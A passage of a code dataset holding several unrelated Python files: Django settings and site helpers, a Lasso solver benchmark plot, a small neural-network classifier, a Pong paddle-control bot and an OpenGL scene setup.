production!\nDEBUG = False\nTEMPLATE_DEBUG = False\n\nfrom .common import *\nfrom local_settings import *\nfrom xSACdb.version import VERSION\n\n\nif 'RAVEN_CONFIG' in locals():\n RAVEN_CONFIG['release'] = VERSION['tag']\n RAVEN_CONFIG['site'] = CLUB['name']\nelse:\n RAVEN_CONFIG = {}\n\nif 'XSACDB_CONTAINER' in os.environ and os.environ['XSACDB_CONTAINER'] == 'DOCKER':\n # If in a docker container, parse the database URL\n DATABASES = {\n 'default': dj_database_url.parse(\n os.environ['DATABASE_URL']\n )\n }\n","sub_path":"src/xSACdb/settings/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"454043797","text":"import numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom libsvmdata import fetch_libsvm\nfrom andersoncd.data.real import load_openml\nfrom andersoncd.plot_utils import configure_plt\n\nfrom andersoncd.lasso import solver_enet, apcg_enet\n\n\nconfigure_plt()\n\n###############################################################################\n# Load the data:\n\n# n_features = 1000\nX, y = fetch_libsvm(\"rcv1.binary\", normalize=True)\n# X = X[:, :n_features]\n\n# y -= y.mean()\n# y /= norm(y)\n\nX, y = load_openml(\"leukemia\")\n\n###############################################################################\n# Run algorithms:\n\n# solvers parameters:\ndiv_alpha = 10\ndiv_rho = 10\nalpha_max = np.max(np.abs(X.T @ y))\nalpha = alpha_max / div_alpha\nrho = alpha / div_rho\n# rho = 0\n\ntol = 1e-20\nmax_iter = 20_000\nf_gap = 1\nall_algos = [\n # ('apcg', False),\n # ('pgd', False),\n # ('pgd', True),\n # ('fista', False),\n # ('cd', False),\n # ('rcd', False),\n ('cd', True),\n]\n\ndict_algo_name = {}\ndict_algo_name[\"pgd\", False] = \"GD\"\ndict_algo_name[\"cd\", False] = \"CD\"\ndict_algo_name[\"rcd\", False] = \"RCD\"\ndict_algo_name[\"pgd\", True] = \"GD - Anderson\"\ndict_algo_name[\"cd\", True] = \"CD - Anderson\"\ndict_algo_name[\"fista\", False] = \"GD - inertial\"\ndict_algo_name[\"apcg\", False] = \"CD - inertial\"\n\ntmax = 2\n# tmax =\ndict_Es = {}\ndict_times = {}\n\nfor algo in all_algos:\n print(\"Running \", dict_algo_name[algo])\n if algo[0] == 'apcg':\n _, E, _, times = apcg_enet(\n X, y, alpha, rho=rho, max_iter=max_iter, tol=tol,\n f_gap=f_gap, verbose=True, compute_time=True, tmax=tmax)\n else:\n _, E, gaps, times = solver_enet(\n X, y, alpha=alpha, rho=rho,\n f_gap=f_gap, max_iter=max_iter, tol=tol,\n algo=algo[0], use_acc=algo[1], verbose=True, compute_time=True,\n tmax=tmax, seed=0)\n dict_Es[algo] = E.copy()\n dict_times[algo] = times\n\n\ncurrent_palette = sns.color_palette(\"colorblind\")\ndict_color = {}\ndict_color[\"pgd\"] = current_palette[0]\ndict_color[\"fista\"] = current_palette[0]\ndict_color[\"cd\"] = current_palette[1]\ndict_color[\"rcd\"] = current_palette[1]\ndict_color[\"apcg\"] = current_palette[1]\n\n\np_star = np.infty\nfor E in dict_Es.values():\n p_star = min(p_star, min(E))\n\n###############################################################################\n# Plot convergence curves:\n\n# plt.figure()\n\nfig, ax = plt.subplots(figsize=(9, 6))\nfig2, ax2 = plt.subplots(figsize=(9, 6))\n\nfor algo in all_algos:\n E = dict_Es[algo]\n times = dict_times[algo]\n use_acc = algo[1]\n if use_acc:\n linestyle = 'dashed'\n elif algo[0].startswith(('fista', 'apcg')):\n linestyle = 'dotted'\n elif algo[0].startswith('rcd'):\n linestyle = (0, (3, 5, 1, 5, 1, 5))\n else:\n linestyle = 'solid'\n ax.semilogy(\n f_gap * np.arange(len(E)), E - p_star, label=dict_algo_name[algo],\n color=dict_color[algo[0]], linestyle=linestyle)\n\n ax2.semilogy(\n times, E - p_star, label=dict_algo_name[algo],\n color=dict_color[algo[0]], linestyle=linestyle)\n\n\nax.set_ylabel(r\"$f(x^{(k)}) - f(x^{*})$\")\nax.set_xlabel(r\"iteration $k$\")\n\nax2.set_ylabel(r\"$f(x^{(k)}) - f(x^{*})$\")\nax2.set_xlabel(\"Time (s)\")\nax.set_yticks((1e-15, 1e-10, 1e-5, 1e0))\nax2.set_yticks((1e-15, 1e-10, 1e-5, 1e0))\nax.set_title(r\"Lasso $\\lambda_{\\max} / %i$\" % div_alpha)\nax2.set_title(r\"Lasso $\\lambda_{\\max} / %i$\" % div_alpha)\nfig.tight_layout()\nfig2.tight_layout()\nax.legend()\nfig.show()\nfig2.show()\n","sub_path":"examples/expe_time/plot_lasso_time.py","file_name":"plot_lasso_time.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"592768840","text":"import brain.py as nn\r\nimport brain\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pylib.pyplot as plib\r\n\r\nprint(brain.__version__)\r\nprint(brain.__platform__)\r\n\r\nclass ClassifierModel():\r\n def __init__(self):\r\n self.input = nn.layers.InputLayer(2)\r\n self.dense2 = nn.layers.Dense(4, activation=nn.sigmoid, input=self.input)\r\n self.dense3 = nn.layers.Dense(3, activation=nn.sigmoid, input=self.dense2)\r\n self.dense4 = nn.layers.Dense(3, activation=nn.sigmoid, input=self.dense3)\r\n\r\n def predict(self, inputs):\r\n h = self.input(inputs)\r\n h = self.dense2(h)\r\n h = self.dense3(h)\r\n h = self.dense4(h)\r\n\r\n return h\r\n\r\n def train(self, inputs, targets):\r\n trainer = nn.math.Trainer()\r\n trainer.compute(self.input, inputs)\r\n\r\n trainer(self.dense2)\r\n trainer(self.dense3)\r\n trainer(self.dense4)\r\n\r\n trainer.backprop(targets)\r\n\r\ndef func_line1(x):\r\n return x * 0.1 + 0.1\r\n\r\ndef func_line2(x):\r\n return x * 0.85 - 0.9\r\n\r\ndef category(x, y):\r\n if y > func_line1(x):\r\n return [0, 0, 1]\r\n else:\r\n if y > func_line2(x):\r\n return [0, 1, 0]\r\n else:\r\n return [1, 0, 0]\r\n\r\ndef category_strict(data):\r\n x, y = data\r\n [a, b, c] = category(x, y)\r\n \r\n if a == 1:\r\n return 2\r\n if b == 1:\r\n return 1\r\n if c == 1:\r\n return 0\r\n\r\nmodel = None\r\ndef category_nn(data):\r\n mat = model.predict(data)\r\n max = mat.max()\r\n [a, b, c] = mat.tolist()[0]\r\n \r\n if a == max:\r\n return 2\r\n if b == max:\r\n return 1\r\n if c == max:\r\n return 0\r\n\r\nif __name__ == \"__main__\":\r\n setlength = 150\r\n set = np.random.rand(setlength, 2) * 2 - 1\r\n\r\n model = ClassifierModel()\r\n\r\n maxepochs = 100\r\n for epoch in range(maxepochs):\r\n print(\"Epoch {}/{}\".format(epoch + 1, maxepochs))\r\n np.random.shuffle(set)\r\n \r\n for i in range(len(set)):\r\n x, y = set[i]\r\n model.train(set[i], category(x, y))\r\n\r\n fig, axs = plt.subplots(2)\r\n for ax in axs:\r\n plib.function(ax, func_line1, 1, start=-1, step=0.01)\r\n plib.function(ax, func_line2, 1, start=-1, step=0.01)\r\n ax.set_xlim(-1, 1)\r\n ax.set_ylim(-1, 1)\r\n\r\n strict_ds = plib.dataset(['A', 'B', 'C'], set, category_strict)\r\n plib.plot_ds(axs[0], strict_ds, \".\", colors=[\"r\", \"g\", \"b\"])\r\n\r\n nn_ds = plib.dataset(['A', 'B', 'C'], set, category_nn)\r\n plib.plot_ds(axs[1], nn_ds, \".\", colors=[\"r\", \"g\", \"b\"])\r\n\r\n plt.show()","sub_path":"classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"174194951","text":"import random\nfrom collections import OrderedDict\nfrom django.conf import settings as django_settings\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import ugettext_lazy as _, get_language, string_concat\nfrom django.db.models import Q\nfrom magi.default_settings import RAW_CONTEXT\nfrom magi.utils import (\n globalContext,\n toTimeZoneDateTime,\n toCountDown,\n staticImageURL,\n FAVORITE_CHARACTERS_NAMES,\n FAVORITE_CHARACTERS_IMAGES,\n mergedFieldCuteForm,\n)\nfrom bang import models\n#from bang.model_choices import TRAINABLE_RARITIES\n\nFONTS_PER_LANGUAGE = {\n 'zh-hans': {\n 'name': 'Noto Sans SC',\n 'url': '//fonts.googleapis.com/earlyaccess/notosanssc.css',\n 'title_weight': 800,\n },\n 'zh-hant': {\n 'name': 'Noto Sans TC',\n 'url': '//fonts.googleapis.com/earlyaccess/notosanstc.css',\n 'title_weight': 800,\n },\n 'kr': {\n 'name': 'Nanum Gothic',\n 'url': '//fonts.googleapis.com/css?family=Nanum+Gothic:400,800',\n 'title_weight': 800,\n },\n 'ja': {\n 'name': 'Rounded Mplus 1c',\n 'url': '//fonts.googleapis.com/earlyaccess/roundedmplus1c.css',\n 'title_weight': 900,\n },\n 'ru': {\n 'name': 'Comfortaa',\n 'url': '//fonts.googleapis.com/css?family=Comfortaa:400',\n 'title_url': '//fonts.googleapis.com/css?family=Exo+2:800',\n 'title': 'Exo 2',\n 'title_weight': 800,\n },\n 'vi': {\n 'name': 'Montserrat',\n 'url': '//fonts.googleapis.com/css?family=Montserrat:400,700',\n 'title_weight': 700,\n },\n}\n\nTITLE_CSS_CLASSES = 'h1, h2, h3, h4, h5, h6, .title, .navbar-brand, .btn-lg, .btn-xl'\n\ndef bangGlobalContext(request):\n context = globalContext(request)\n # Change font depending on language\n if context['current_language'] in FONTS_PER_LANGUAGE:\n f = FONTS_PER_LANGUAGE[context['current_language']]\n if 'name' in f and 'url' in f:\n context['extracss'] = context.get('extracss', '') + u'\\n @import url({url});{title_url}\\n\\\n body {{ font-family: \\'{name}\\', sans-serif; }}\\n {css_classes} {{ font-family: \\'{title_name}\\', monospace;{title_weight} }}'.format(\n url=f['url'],\n title_url=(u'\\n@import url({url});'.format(url=f['title_url']) if 'title_url' in f else ''),\n name=f['name'],\n css_classes=TITLE_CSS_CLASSES,\n title_name=f.get('title', f['name']),\n title_weight=(u' font-weight: {weight};'.format(weight=f['title_weight'])\n if 'title_weight' in f else ''),\n )\n for popup_name, popup in context.get('corner_popups', {}).items():\n popup['image_overflow'] = True\n if popup_name == 'happy_birthday':\n popup['image'] = staticImageURL('birthday_kanae.png')\n return context\n\ndef randomArtForCharacter(character_id):\n if django_settings.IS_CHARACTER_BIRTHDAY:\n return None\n try:\n card = models.Card.objects.filter(\n member_id=character_id,\n ).exclude(\n (Q(art__isnull=True) | Q(art=''))\n & (Q(transparent__isnull=True) | Q(transparent='')),\n ).exclude(\n show_art_on_homepage=False,\n show_trained_art_on_homepage=False,\n ).order_by('?')[0]\n except IndexError:\n return None\n if not card.trainable or (not card.art and not card.art_trained):\n trained = random.choice([v for v, s in [\n (False, card.show_art_on_homepage and card.transparent_url),\n (True, card.show_trained_art_on_homepage and card.transparent_trained_url),\n ] if s\n ])\n return {\n 'foreground_url': card.transparent_trained_url if trained else card.transparent_url,\n 'about_url': card.item_url,\n 'position': { 'size': 'cover', 'x': 'center', 'y': 'center' },\n }\n trained = random.choice([v for v, s in [\n (False, card.show_art_on_homepage and card.art_url),\n (True, card.show_trained_art_on_homepage and card.art_trained_url),\n ] if s\n ])\n return {\n 'url': card.art_trained_url if trained else card.art_url,\n 'hd_url': (\n card.art_trained_2x_url or card.art_trained_original_url\n ) if trained else (card.art_2x_url or card.art_original_url),\n 'about_url': card.item_url,\n }\n\ndef memberBandMergeCuteForm(cuteform):\n mergedFieldCuteForm(cuteform, {\n 'title': string_concat(_('Member'), '/', _('Band')),\n 'extra_settings': {\n 'modal': 'true',\n 'modal-text': 'true',\n },\n }, OrderedDict ([\n ('member', lambda k, v: FAVORITE_CHARACTERS_IMAGES[int(k)]),\n ('i_band', lambda k, v: staticImageURL(v, folder='band', extension='png')),\n ]))\n\ndef rarity_to_stars_images(rarity):\n return u'\"star\"'.format(\n static_url=RAW_CONTEXT['static_url'],\n un='' if rarity in models.Card.TRAINABLE_RARITIES else 'un',\n ) * rarity\n\ndef generateDifficulty(difficulty):\n note_image = staticImageURL('note.png')\n return u'{big_images}{small_images}'.format(\n big_images=(u''.format(note_image) * (difficulty // 5)),\n small_images=(u''.format(note_image) * (difficulty % 5)),\n )\n\ndef bandField(band, i):\n return {\n 'image': staticImageURL('mini_band_icon/{}.png'.format(band)),\n 'verbose_name': _('Band'),\n 'type': 'image_link',\n 'link': u'/members/?i_band={}'.format(i),\n 'ajax_link': u'/ajax/members/?i_band={}&ajax_modal_only'.format(i),\n 'link_text': band,\n 'value': staticImageURL('band/{}.png'.format(band)),\n }\n\n# For Event, Gacha, Song\ndef subtitledImageLink(item, verbose_name, icon=None, image=None, subtitle=None):\n return {\n 'image': image,\n 'icon': icon,\n 'verbose_name': verbose_name,\n 'verbose_name_subtitle': subtitle or unicode(item),\n 'value': (getattr(item, '{}image_url'.format(\n models.Account.VERSIONS[models.LANGUAGES_TO_VERSIONS.get(get_language(), 'EN')]['prefix'],\n ), None) or item.image_url),\n 'type': 'image_link',\n 'link': item.item_url,\n 'ajax_link': item.ajax_item_url,\n 'link_text': subtitle or unicode(item),\n }\n\ndef add_rerun_buttons(view, buttons, request, item):\n if request.user.is_authenticated() and request.user.hasPermission('manage_main_items'):\n for version in item.versions:\n i_version = models.Rerun.get_i('version', version)\n buttons[u'{}add_rerun'.format(models.Rerun.VERSIONS[version]['prefix'])] = {\n 'classes': view.item_buttons_classes + ['staff-only'],\n 'show': True,\n 'url': u'/reruns/add/?{item}_id={item_id}&i_version={i_version}'.format(\n item=type(item).__name__.lower(),\n item_id=item.id,\n i_version=i_version,\n ),\n 'icon': 'date',\n 'title': u'Add rerun dates in {}'.format(models.Rerun.get_verbose_i('version', i_version)),\n 'has_permissions': True,\n 'open_in_new_window': True,\n }\n return buttons\n\ndef add_rerun_fields(view, item, request):\n extra_fields = []\n if len(item.all_reruns):\n for rerun in item.all_reruns:\n extra_fields.append(('{}rerun'.format(rerun.version_prefix), {\n 'icon': 'date',\n 'verbose_name': _('Rerun'),\n 'type': 'html',\n 'value': u'

    {}

    '.format(u'

    '.join([\n unicode(x) for x in [\n toCountDown(date=rerun.end_date if rerun.status == 'current' else rerun.start_date,\n sentence=_('{time} left') if rerun.status == 'current' else _('Starts in {time}'),\n classes=['fontx1-5']),\n u'{}'.format(_('Beginning')) if rerun.start_date else None,\n toTimeZoneDateTime(rerun.start_date, [rerun.version_timezone, 'Local time'], ago=True),\n u'{}'.format(_('End')) if rerun.end_date else None,\n toTimeZoneDateTime(rerun.end_date, [rerun.version_timezone, 'Local time'], ago=True),\n u'{edit_sentence}'.format(\n edit_url=rerun.edit_url,\n classes=u' '.join(view.item_buttons_classes + ['staff-only']),\n edit_sentence=rerun.edit_sentence,\n ) if (request\n and request.user.is_authenticated()\n and request.user.hasPermission('manage_main_items'))\n else None,\n ] if x\n ])),\n }))\n return extra_fields\n","sub_path":"bang/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"618466558","text":"import math\nimport time\nfrom vector2 import Vector2\n\nclass Aimbot(object):\n def __init__(self):\n self.gamestate = None\n\n self.paddle_max_speed = 100.0 #test server default speed\n self.paddle_step_size = 2.0\n self.paddle_dir = 0\n self.estimated_server_time = 0\n self.server_time_difference = 0\n self.command_lag = 0\n self.command_interval = 0.2\n self.ball_target = 0\n\n\n def lag_correction(self):\n return self.estimated_server_time - self.gamestate.time + self.command_lag\n\n def steps_in_lag_correction(self):\n return round(self.lag_correction() * self.paddle_max_speed / self.paddle_step_size)\n\n\n def project_future_pad_pos(self, time_interval, new_dir):\n return new_dir * self.paddle_max_speed * time_interval + self.projected_pad_pos()\n\n def projected_pad_pos(self):\n #return self.paddle_y + self.paddle_dir * self.paddle_max_speed * self.lag_correction()\n return self.gamestate.left_paddle_y + self.paddle_dir * self.paddle_step_size * self.steps_in_lag_correction()\n\n def paddle_time_to_target(self, target_y):\n if self.paddle_max_speed < 0.0001: return 1.0\n return math.fabs(target_y - self.projected_pad_pos()) / self.paddle_max_speed\n\n #Check for missiles along the path\n def dodge_missiles(self, target_y, target_time):\n incoming_missiles = [m for m in self.gamestate.missiles if m.direction.x < 0.0]\n\n for missile in incoming_missiles:\n missile_y = missile.get_collision_point().y\n missile_time = missile.get_collision_time()\n\n if missile_time > target_time + self.command_lag:\n #Missile hits after target; prepare and queue move out of the way\n return self.prepare_for_incoming_missile(target_y, target_time, missile_y, missile_time)\n\n accuracy = math.fabs(self.ball_target - missile_y)\n dodge_margin = self.gamestate.paddle_height / 2.0 + 10.0\n if accuracy < 0.1 and target_time - missile_time < self.command_lag:\n #Missile will be very close to target so try to adjust as near as possible\n dodge_margin = self.gamestate.paddle_height / 2.0 + accuracy - 0.0001\n\n #Missile hits before target; dodge missile to the best side\n #Missile is at target spot so change target\n if missile_y >= target_y - dodge_margin and missile_y <= target_y + dodge_margin:\n\n if missile_y <= self.gamestate.paddle_height + 0.001:\n #Dodge to middle\n new_target_y = missile_y + dodge_margin\n elif missile_y >= self.gamestate.max_height - self.gamestate.paddle_height - 0.001:\n #Dodge to middle\n new_target_y = missile_y - dodge_margin\n elif self.estimated_server_time - missile_time < self.minimum_safe_dodge_time():\n #Dodge to only side\n sign = 1.0 if self.projected_pad_pos() - missile_y > 0.0 else -1.0\n new_target_y = missile_y + dodge_margin * sign\n #Dodge to better side\n elif self.ball_target < missile_y:\n new_target_y = missile_y - dodge_margin\n else:\n new_target_y = missile_y + dodge_margin\n\n #print 'Changing', target_y, target_time - self.estimated_server_time, ' -> ', new_target_y, missile_time - self.estimated_server_time\n return new_target_y, missile_time\n\n if (self.projected_pad_pos() < missile_y and missile_y < target_y) or (self.projected_pad_pos() > missile_y and missile_y > target_y):\n #Missile is in our way so dodge it\n projected_pos = self.project_future_pad_pos(missile_time - self.estimated_server_time, self.paddle_dir)\n sign = 1.0\n if self.paddle_dir < 0.0:\n sign = -1.0\n\n #rint 'leff, projected_pos, missile_traget', self.projected_pad_pos(), projected_pos, missile_y, (missile_time - self.estimated_server_time)\n if missile_y >= projected_pos - dodge_margin and missile_y <= projected_pos + dodge_margin:\n maximum_gain = (missile_time - self.estimated_server_time - self.command_lag) * self.paddle_max_speed * (1.0 - math.fabs(self.paddle_dir))\n if maximum_gain > 0.001:\n #check if we can speed up\n new_pos = projected_pos + maximum_gain * sign\n if not (missile_y >= new_pos - dodge_margin and missile_y <= new_pos + dodge_margin):\n #speed up\n new_target_y = new_pos\n return new_target_y, missile_time\n \n #slow down\n new_target_y = missile_y - dodge_margin * sign\n return new_target_y, missile_time\n else:\n pass #Missile wont hit; don't care\n\n return target_y, target_time\n\n def prepare_for_incoming_missile(self, target_y, target_time, missile_y, missile_time):\n #print 'preparting for', missile_y, missile_time, target_y, target_time\n dodge_margin = self.gamestate.paddle_height / 2.0 + 10.0\n if not (missile_y >= target_y - dodge_margin and missile_y <= target_y + dodge_margin):\n return target_y, target_time #Missile will not hit\n\n time_dif = missile_time - target_time - self.command_lag\n steps = math.floor(time_dif * self.paddle_max_speed / self.paddle_step_size)\n maximum_movement = steps * self.paddle_step_size\n\n if not (missile_y >= target_y + maximum_movement - dodge_margin and missile_y <= target_y - maximum_movement + dodge_margin):\n return target_y, target_time #Enough time to move out of the way\n\n #print 'Incoming in', time_dif, maximum_movement, missile_y, target_y, self.ball_target\n #Prepare our position so that we have enough time to move out of the way of the missile while still hitting the ball\n available_steps_before_missile = math.ceil(time_dif * self.paddle_max_speed / self.paddle_step_size)\n\n sign = 1.0\n if self.ball_target < missile_y:\n sign = -1.0\n\n #Check corners and dodge to middle\n if missile_y <= self.gamestate.paddle_height + 0.001 and self.ball_target < missile_y:\n new_target_y = min(self.ball_target, missile_y + dodge_margin - sign * maximum_movement)\n elif missile_y >= self.gamestate.max_height - self.gamestate.paddle_height - 0.001 and self.ball_target > missile_y:\n new_target_y = max(missile_y - dodge_margin + sign * maximum_movement, self.ball_target)\n else:\n new_target_y = missile_y + sign * dodge_margin - sign * maximum_movement\n\n #print 'moving from', target_y, 'to', new_target_y\n\n return new_target_y, target_time\n\n\n\n def get_dir_command(self, target_y, target_time):\n\n #Find direction and distance to target\n distance = target_y - self.projected_pad_pos()\n if (math.fabs(distance) < 0.0001):\n #print 'Target reached:', self.gamestate.left_paddle_y\n self.paddle_dir = 0.0\n return 0\n direction = 1.0\n if self.projected_pad_pos() > target_y:\n direction = -1.0\n\n #Check ball travel time and adjust accordingly\n travel_time = self.paddle_time_to_target(target_y)\n max_time_to_target = target_time - self.estimated_server_time - self.command_lag\n\n if (travel_time > 0.05 and travel_time > max_time_to_target and max_time_to_target > 0.0):\n #We're screwed so full speed and hope for best :)\n self.paddle_dir = direction\n return direction\n\n if travel_time > self.command_interval:\n self.paddle_dir = direction\n return direction # full speed\n elif travel_time > 0.00001:\n #new_dir = direction * travel_time / self.command_interval\n #print 'Travel time : ', travel_time, ' at full speed. Changing to ', new_dir\n #self.paddle_dir = new_dir\n #steps_to_target is less than what we can do in 0.2 so\n #change direction so that we make enough steps during command_interval\n steps_to_target = math.fabs(distance / self.paddle_step_size)\n speed_to_use = steps_to_target / math.ceil(steps_to_target)\n steps_to_target = math.ceil(steps_to_target)\n steps_in_command_interval = math.ceil(self.command_interval * self.paddle_max_speed / self.paddle_step_size)\n new_dir = direction * speed_to_use * steps_to_target / steps_in_command_interval\n self.paddle_dir = min(1.0, max(-1.0, new_dir))\n #print 'distance to target, steps, dir, pos', distance, steps_in_command_interval, new_dir, self.gamestate.left_paddle_y\n return self.paddle_dir \n else:\n #Can reach here when target is almost there, but not quite\n self.paddle_dir = 0.0\n return 0.0\n\n #Find direction to target so that we hit it at the same time with ball\n def get_dir_to_target_with_time(self, target, time):\n #Estimate steps based on given time.\n steps_in_time = time * self.paddle_max_speed / self.paddle_step_size\n return get_dir_to_target_with_steps(self, target, steps_in_time)\n\n #Find direction to target so that we hit target at the same step with ball\n def get_dir_to_target_with_steps(self, target, steps):\n distance = self.project_pad_pos() - target\n step_size = distance / steps\n direction = step_size / self.paddle_step_size\n direction = min(1.0, max(-1.0, direction))\n self.paddle_dir = direction\n return direction\n\n def probable_steps_in_interval(self):\n steps = self.command_lag * self.paddle_max_speed / self.paddle_step_size\n return steps\n\n def minimum_safe_dodge_time(self):\n dodge_margin = 5.0 + self.gamestate.paddle_height / 2.0\n time = (dodge_margin / self.paddle_max_speed) + self.command_lag\n return time\n\n def can_make_it_to_target_in_time(self, target, travel_time):\n distance = math.fabs(target - self.projected_pad_pos())\n\n if distance < 0.1: \n return True\n\n if travel_time is None:\n return False\n\n return distance < self.paddle_max_speed * travel_time\n\n #The time the missile can delay the paddle from moving to target if the paddle dodges missile\n def maximum_missile_delay(self):\n #Theoretical maximum delay the missile can cause if hit perfectly\n paddle_delay = self.gamestate.paddle_height / self.paddle_max_speed\n return paddle_delay\n\n #Sure win strategy: we can hit the opponent with the missile at the same time when the ball hits\n #Or sure lose if they can hit us\n def check_for_hittable_missile(self, simulator, paddle_y, target, time_to_target, missile_travel_time):\n #Check if paddle can make it to target so that we can hit it at the appointed time\n p_min, p_max = simulator.get_paddle_range(paddle_y, time_to_target - missile_travel_time)\n if target < p_max or target > p_min:\n return True\n return False\n\n #Check if we can defend a missile by pre-firing our own\n #Returns target point where to aim (as late as possible, which gives best accuracy & best chance not to waste missile)\n def check_for_defendable_missile(self, simulator, paddle_y, target, time_to_target, missile_travel_time):\n #The target area can be any spot of enemy paddle\n target_min, target_max = target - self.gamestate.paddle_height / 2, target + self.gamestate.paddle_height / 2\n p_min, p_max = simulator.get_paddle_range(paddle_y, target, time_to_target - missile_travel_time)\n if target < p_max or target > p_min:\n return target\n elif p_max > target_min:\n return target_min\n elif p_min < target_max:\n return target_max\n\n return None","sub_path":"ponglib/aimbot.py","file_name":"aimbot.py","file_ext":"py","file_size_in_byte":12183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"344560892","text":"from OpenGL.GL import *\nfrom OpenGL.GLUT import *\nfrom OpenGL.GLU import *\nfrom PIL.Image import *\nfrom math import *\n\n# Memo per me:\n# x verso destra\n# y verso l'alto\n# z verso di me\n\n# Alcuni valori utili\nrot_asse = 0.0\nrot_orbita = 0.0\nraggio_terra = 2.3\nraggio_luna = 0.6\nlimite_max = 1000\nlimite_min = 0.001\ntexture = 0\ncamera = [0.0, 0.0, -20.0]\nangolo_sugiu = 0.0\nangolo_sxdx = 0.0\n\n\n# Importo le texture dai file\ndef caricaTexture(filename):\n image = open(filename)\n ix = image.size[0]\n iy = image.size[1]\n\n # Ho dovuto fare una conversione a RGBA per ottenere la trasparenza\n\n image = image.convert(\"RGBA\").tobytes(\"raw\", \"RGBA\", 0, -1)\n\n texture = glGenTextures(1)\n glBindTexture(GL_TEXTURE_2D, texture)\n\n glPixelStorei(GL_UNPACK_ALIGNMENT, 1)\n glTexImage2D(GL_TEXTURE_2D, 0, 4, ix, iy, 0, GL_RGBA, GL_UNSIGNED_BYTE, image)\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR)\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR)\n\n return texture\n\n\n# Creo il rettangolo su cui \"incollare\" la texture degli elementi del mondo\ndef creaElemento(texture, larghezza, altezza, raggio_sfera):\n glBindTexture(GL_TEXTURE_2D, texture)\n glBegin(GL_QUADS)\n\n # le istruzioni commentate sono come sono arrivato a ottenere \"l'incastramento\"\n # del rettangolo nella sfera a tentativi.\n # Poi ho accorciato la formula e resa più leggibile.\n\n # glVertex3f(-larghezza/2, 0.0, raggio_sfera - (raggio_sfera/25))\n # glVertex3f(larghezza/2, 0.0, raggio_sfera - (raggio_sfera/25))\n # glVertex3f(larghezza/2, 0.0, raggio_sfera - (raggio_sfera/25) + altezza)\n # glVertex3f(-larghezza/2, 0.0, raggio_sfera - (raggio_sfera/25) + altezza)\n\n glNormal3f(0.0, 0.0, -1.0)\n glTexCoord2f(0.0, 0.0)\n glVertex3f(-larghezza / 2, 0.0, 24 * (raggio_sfera / 25))\n glNormal3f(0.0, 0.0, -1.0)\n glTexCoord2f(1.0, 0.0)\n glVertex3f(larghezza/2, 0.0, 24 * (raggio_sfera / 25))\n glNormal3f(0.0, 0.0, -1.0)\n glTexCoord2f(1.0, 1.0)\n glVertex3f(larghezza/2, 0.0, 24 * (raggio_sfera / 25) + altezza)\n glNormal3f(0.0, 0.0, -1.0)\n glTexCoord2f(0.0, 1.0)\n glVertex3f(-larghezza/2, 0.0, 24 * (raggio_sfera / 25) + altezza)\n glEnd()\n\n\n# Inizializzazione\ndef init(Width, Height):\n global quadrica, \\\n baobab, cielo, luna, principe, terra, volpe, fuoco, rosa, dugtrio, vulcano, sole\n\n glEnable(GL_DEPTH_TEST)\n glShadeModel(GL_SMOOTH)\n glEnable(GL_NORMALIZE)\n\n glEnable(GL_BLEND)\n glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\n glEnable(GL_ALPHA_TEST)\n glAlphaFunc(GL_GREATER, 0.0)\n\n glEnable(GL_TEXTURE_2D)\n\n glEnable(GL_LIGHTING)\n glEnable(GL_LIGHT0)\n glLightModelfv(GL_LIGHT_MODEL_AMBIENT, [0.8, 0.8, 0.8])\n glLightfv(GL_LIGHT0, GL_AMBIENT, [0.0, 0.0, 0.0, 1.0])\n glLightfv(GL_LIGHT0, GL_DIFFUSE, [1.0, 0.7, 0.15, 1.0])\n glLightfv(GL_LIGHT0, GL_SPECULAR, [1.0, 0.7, 0.15, 1.0])\n glLightModelf(GL_LIGHT_MODEL_TWO_SIDE, GL_TRUE)\n\n principe = caricaTexture(\"texture/principe.png\")\n dugtrio = caricaTexture(\"texture/dugtrio.png\")\n vulcano = caricaTexture(\"texture/volcano.png\")\n baobab = caricaTexture(\"texture/baobab.png\")\n cielo = caricaTexture(\"texture/cielo.jpg\")\n terra = caricaTexture(\"texture/terra.jpg\")\n volpe = caricaTexture(\"texture/volpe.png\")\n fuoco = caricaTexture(\"texture/fuoco.png\")\n rosa = caricaTexture(\"texture/rosa.png\")\n luna = caricaTexture(\"texture/luna.jpg\")\n sole = caricaTexture(\"texture/sole.jpg\")\n\n quadrica = gluNewQuadric()\n gluQuadricNormals(quadrica, GLU_SMOOTH)\n gluQuadricTexture(quadrica, GL_TRUE)\n\n glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE)\n\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n gluPerspective(45.0, float(Width) / float(Height), limite_min, limite_max)\n\n\n# Ridimensionamento\ndef resizeScene(w, h):\n if h == 0:\n h = 1\n\n glViewport(0, 0, w, h)\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n gluPerspective(45.0, float(w) / float(h), limite_min, limite_max)\n glMatrixMode(GL_MODELVIEW)\n\n\n# Creo la scena\ndef drawScene():\n global rot_asse, rot_orbita, texture, quadrica, \\\n baobab, cielo, luna, principe, terra, volpe, fuoco, rosa, dugtrio, vulcano, sole, \\\n raggio_terra, raggio_luna, limite_max, limite_min, \\\n angolo_sugiu, angolo_sxdx\n\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n glMatrixMode(GL_MODELVIEW)\n glEnable(GL_TEXTURE_2D)\n glEnable(GL_LIGHTING)\n\n # Sky Dome\n glPushMatrix()\n # tolgo la proprietà di diffusione (altrimenti la fonte di luce 